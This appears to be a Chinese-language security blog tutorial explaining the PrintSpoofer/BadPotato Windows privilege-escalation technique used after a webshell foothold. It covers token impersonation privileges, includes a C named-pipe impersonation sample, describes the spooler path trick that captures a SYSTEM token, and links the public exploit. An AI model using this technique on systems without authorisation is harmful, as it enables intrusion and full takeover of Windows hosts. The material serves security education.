文章目录
WebShell提权简述
在红蓝对抗过程中Web打点之后往往需要进行提权才能进行横向操作,
本篇文章讲解WebShell的场景提权手法以及提权原理分析。
本篇文章讲解的BadPotato/PipePotato 提权。
Windows下常见土豆提权:
BadPotato、EfsPotato、GodPotato、RoguePotato、SweetPotato、
PrintNotifyPotato、RottenPotato、JuicyPotato
Potato提权(原理简述)
为了大家方便理解土豆提权下面对土豆提权的原理进行简述,详细细节大家可以自行搜索。
使用Potato提权都需要下列两个特权中的一个。
1.SeImpersonatePrivilege(替换一个进程级令牌)
2.SeAssignPrimaryTokenPrivilege (身份验证后模拟客户端)
正常情况下服务账号具有的特权如下。
下面讲述这两个特权
SeImpersonatePrivilege:
微软的描述信息如下
可以看到具有服务控制管理器启动的服务以及特定账号下运行的COM服务器具有该特权,一般情况下如IIS就是通过
服务控制管理器启动的服务因此具有SeImpersonatePrivilege特权,那么SeImpersonatePrivilege特权具有什么用呢,
下面继续查询微软文档。
可以看到根据微软描述SeImpersonatePrivilege属于用户权限并且具有在身份验证后模拟客户端的特权。
什么是身份验证后模拟特权呢,这里举一个例子Token关于Token的内容就不具体展开讲了感兴趣的小伙伴,
可以自行网上搜索简单来说Token就是一个数据结构,用于表示进程或线程的安全上下文,在 Windows 中,
身份验证通常通过用户名和密码进行,当用户成功登录时,操作系统将创建一个包含用户安全上下文信息
的 TOKEN,这里登录成功的Token就是身份验证后的令牌,因此可以简单理解为SeImpersonatePrivilege
特权具有模拟验证身份后的能力,比如模拟Token,下面继续查看那些API会使用到SE_IMPERSONATE_NAME
即SeImpersonatePrivilege特权。
可以看到CreateProcessWithTokenW是具有SeImpersonatePrivilege特权才能够使用的函数也就是说,可以通过
该API以模拟Token的运行一个新的进程,下面来看看另一个SeAssignPrimaryTokenPrivilege特权。
SeAssignPrimaryTokenPrivilege:
下面是微软对该特权的描述该特权意思是具有替换进程级令牌特权。
根据上述微软描述可以看到SeAssignPrimaryTokenPrivilege特权是可以给新进程分配Token模拟Token等,
替换进程令牌特权的默认用户有本地服务和网络服务用户,那么都有那些API需要这些特权呢。
CreateProcessAsUserA使用了SeAssignPrimaryTokenPrivilege特权可以创建一个新的进程并
指定Token运行安全上下文,可以理解为使用一个高权限Token运行一个新进程从而实现提权,
当然还有很多API也使用了SeAssignPrimaryTokenPrivilege特权,但是本片文章探讨的是提权
因此不过多深入感兴趣的朋友们可以自行搜索。
那么Windows提权重要的API以及特权已经进行了简单讲解那么下面将正式开始讲解Potato提权。
PrintSpoofer (BadPotato/PipePotato )原理分析
参考文章:https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
下面对PrintSpoofer原理进行简述讲解,PrintSpoofer利用了SeImpersonatePrivilege(替换一个进程级令牌)特权,
用ImpersonateNamedPipeClient API进行命名管道模拟用户。
实例代码:
// 定义一个命名管道句柄、管道名称、安全描述符、安全属性和令牌句柄。
HANDLE hPipe = INVALID_HANDLE_VALUE;
LPWSTR pwszPipeName = argv[1];
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
HANDLE hToken = INVALID_HANDLE_VALUE;
// 初始化安全描述符。
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
{
wprintf(L"InitializeSecurityDescriptor() 失败。错误:%d - ", GetLastError());
PrintLastErrorAsText(GetLastError());
return -1;
}
// 将安全描述符字符串转换为安全描述符。
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL))
{
wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() 失败。错误:%d - ", GetLastError());
PrintLastErrorAsText(GetLastError());
return -1;
}
// 如果创建命名管道成功
if ((hPipe = CreateNamedPipe(pwszPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa)) != INVALID_HANDLE_VALUE)
{
wprintf(L"[*] 命名管道 '%ls' 正在监听...\n", pwszPipeName);
ConnectNamedPipe(hPipe, NULL);
wprintf(L"[+] 有客户端连接!\n");
// 如果模拟成功
if (ImpersonateNamedPipeClient(hPipe)) {
// 如果打开线程令牌成功
if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
// 打印令牌用户SID和名称
PrintTokenUserSidAndName(hToken);
// 打印令牌模拟级别
PrintTokenImpersonationLevel(hToken);
// 打印令牌类型
PrintTokenType(hToken);
// 在模拟的用户上执行某些操作
DoSomethingAsImpersonatedUser();
CloseHandle(hToken);
}
else
{
wprintf(L"OpenThreadToken() 失败。错误:%d - ", GetLastError());
PrintLastErrorAsText(GetLastError());
}
}
else
{
wprintf(L"ImpersonateNamedPipeClient() 失败。错误:%d - ", GetLastError());
PrintLastErrorAsText(GetLastError());
}
// 关闭命名管道句柄
CloseHandle(hPipe);
}
else
{
wprintf(L"CreateNamedPipe() 失败。错误:%d - ", GetLastError());
PrintLastErrorAsText(GetLastError());
}
通过Printer Bug 利用SpoolSample,打印机窃取system Token,使用了Print Spooler 服务公开的函数,
RpcRemoteFindFirstPrinterChangeNotificationEx,进行向打印客户端发送更改通知,通知是通过RPC
匿名管道, RPC 接口是通过命名管道公开的:\\.\pipe\spoolss的正常情况下UNC路径会被占用使用\进
行分割,使用/通过路径验证检查比如\\DESKTOP-ASD29\abc\pipe\spoolss被使用验证路径失败改为,
\\DESKTOP-ASD29/pipe/abc则会自动转换为\\\DESKTOP-ASD29\pipe\abc\pipe\spoolss转为一个新有效
的路径并绕过路径检查获取SpoolSample系统Token获取模拟令牌进行提权。
PrintSpoofer (BadPotato/PipePotato )提权姿势
利用exp github地址
https://github.com/itm4n/PrintSpoofer
可以看到成功将计算器提升到system权限,从上面的原理简述中可以看到PrintSpoofer利用了打印机进程spoolsv.exe
如果spoolsv.exe进程被关了就算拥有SeImpersonatePrivilege特权也无法进行权限提升。
可以看到提权失败了因为spoolsv.exe被关闭了。
PrintSpoofer(BadPotato/PipePotato ) 总结
1.PrintSpoofer 滥用了SeImpersonatePrivilege(替换一个进程级令牌)特权。
2.利用spoolsv.exe进程因此必须存在否则提权失败。